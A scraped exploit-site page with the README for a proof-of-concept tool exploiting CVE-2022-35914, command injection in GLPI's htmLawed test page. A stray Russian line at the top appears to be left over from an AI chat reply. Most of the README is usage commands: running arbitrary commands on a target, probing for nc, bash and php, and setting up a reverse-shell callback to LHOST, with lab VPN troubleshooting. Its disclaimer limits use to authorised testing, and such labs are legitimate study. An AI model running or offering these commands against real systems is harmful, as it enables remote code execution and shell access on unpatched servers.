Exploit for Injection in Glpi-Project Glpi

## https://sploitus.com/exploit?id=5F873161-DAF8-5CE8-8098-AAD6EAD4A200
Да. Ниже именно сырой Markdown-текст — копируй содержимое блока целиком в README.md. Тройные ``` сохранятся как Markdown.

# CVE-2022-35914 by cyb3rk0ala
PoC for **CVE-2022-35914**, a command-injection vulnerability involving the `htmLawed` test component in vulnerable GLPI installations.
The tool provides command execution through the vulnerable endpoint and includes optional callback functionality for authorized lab environments.
> **Disclaimer:** This project is intended for authorized security testing, CTFs, OffSec/PG labs, and educational purposes only. Do not use it against systems without explicit authorization.
---
## Vulnerability
| Field | Details |
|---|---|
| **CVE** | `CVE-2022-35914` |
| **Software** | GLPI |
| **Component** | htmLawed |
| **Vulnerable endpoint** | `/vendor/htmlawed/htmlawed/htmLawedTest.php` |
The vulnerable component can allow command execution through crafted parameters on affected installations.
---
## Features
- Command execution
- Automatic target URL construction
- Configurable target HTTP port
- Automatic session/token retrieval
- Command-output extraction
- Target checking
- Custom User-Agent support
- Optional callback configuration
- Colored terminal output
- Python 3 CLI interface
---
## Requirements
Python 3 and the required dependencies.
### Kali Linux
```bash
sudo apt install python3-requests python3-bs4

Virtual Environment

python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

⸻

Installation

Clone the repository:

git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914

Make the script executable:

chmod +x glpi.py

Check the syntax:

python3 -m py_compile glpi.py

Optional formatting with Black:

black glpi.py

⸻

Usage

Help

python3 glpi.py -h

Basic Command Execution

python3 glpi.py -u TARGET_IP -c 'id'

Example output:

[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================

⸻

Command Execution

The -c option specifies the command to execute.

Current User

python3 glpi.py -u TARGET_IP -c 'whoami'

Current Privileges

python3 glpi.py -u TARGET_IP -c 'id'

Operating System

python3 glpi.py -u TARGET_IP -c 'uname -a'

Available Utilities

python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

⸻

Options

Option	Description	Default
-u, --url	Target URL or IP address	Required
-c, --cmd	Command to execute	id
--check	Check the target without executing a command	Disabled
--user-agent	Custom HTTP User-Agent	Default
-p, --rport	Target HTTP service port	80
-l, --lhost	Callback/listener IP address	—
-lp, --lport	Callback/listener port	—

⸻

Target Port

The -p / --rport option specifies the port where the vulnerable GLPI web service is running.

Default:

80

Example:

python3 glpi.py -u TARGET_IP -p 8080 -c 'id'

⸻

Target Check

Use --check to verify that the htmLawed test page is available without executing a command:

python3 glpi.py -u TARGET_IP --check

⸻

Custom User-Agent

A custom HTTP User-Agent can be supplied with:

python3 glpi.py \
    -u TARGET_IP \
    --user-agent 'Mozilla/5.0'

⸻

Reverse Shell

The script supports optional callback parameters:

-l   Callback/listener IP
-lp  Callback/listener port

Example:

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

In this example:

Target:   TARGET_IP:80
Callback: LHOST:80

The two ports have different purposes:

-p   = Target GLPI HTTP port
-lp  = Callback/listener port

⸻

OffSec Lab Note

During testing in an OffSec lab environment, the callback successfully worked over TCP port 80.

Other callback ports, such as 4444, may time out depending on the lab network and egress filtering.

For the tested environment:

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

The listener was configured on the Kali VPN interface using TCP port 80.

Important: Using port 80 for the callback is an environment-specific observation. It is not a requirement of CVE-2022-35914.

⸻

VPN Connectivity

When working through an OffSec VPN, check the VPN interface:

ip addr show tun0

Example:

inet 192.168.x.x/24

Check the route to the target:

ip route get TARGET_IP

Example:

TARGET_IP via 192.168.x.x dev tun0 src LHOST

The src address is the address used by Kali for traffic to the target through the VPN.

⸻

Troubleshooting

Command Execution Works but Callback Does Not

First verify command execution:

python3 glpi.py -u TARGET_IP -c 'id'

Check whether the required utilities exist:

python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

If command execution works but the callback times out, check the VPN routing and callback port.

⸻

Command Output Looks Incorrect

If command-output parsing fails, the complete HTTP response is saved to:

/tmp/glpi.html

Inspect it with:

less /tmp/glpi.html

or:

mousepad /tmp/glpi.html

⸻

Python Syntax Check

Before running the script:

python3 -m py_compile glpi.py

If you modify the code, Black can automatically format it:

black glpi.py

⸻

Development

Display the source code with line numbers:

nl -ba glpi.py

Inspect a specific section:

nl -ba glpi.py | sed -n '190,280p'

Format the source:

black glpi.py

Validate syntax:

python3 -m py_compile glpi.py

⸻

Example Workflow

1. Check the Target

python3 glpi.py \
    -u TARGET_IP \
    --check

2. Confirm Command Execution

python3 glpi.py \
    -u TARGET_IP \
    -c 'id'

3. Identify the Current User

python3 glpi.py \
    -u TARGET_IP \
    -c 'whoami'

4. Check Available Tools

python3 glpi.py \
    -u TARGET_IP \
    -c 'which nc'

5. Configure the Callback

For the tested OffSec lab environment:

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

⸻

Disclaimer

This project is provided for educational and authorized security-testing purposes only.

The author is not responsible for any misuse, damage, unauthorized access, or illegal activity involving this software.

Always obtain explicit authorization before testing a system.

⸻

Author

cyb3rk0ala

⸻

CVE

CVE-2022-35914

⸻

Project

CVE-2022-35914 by cyb3rk0ala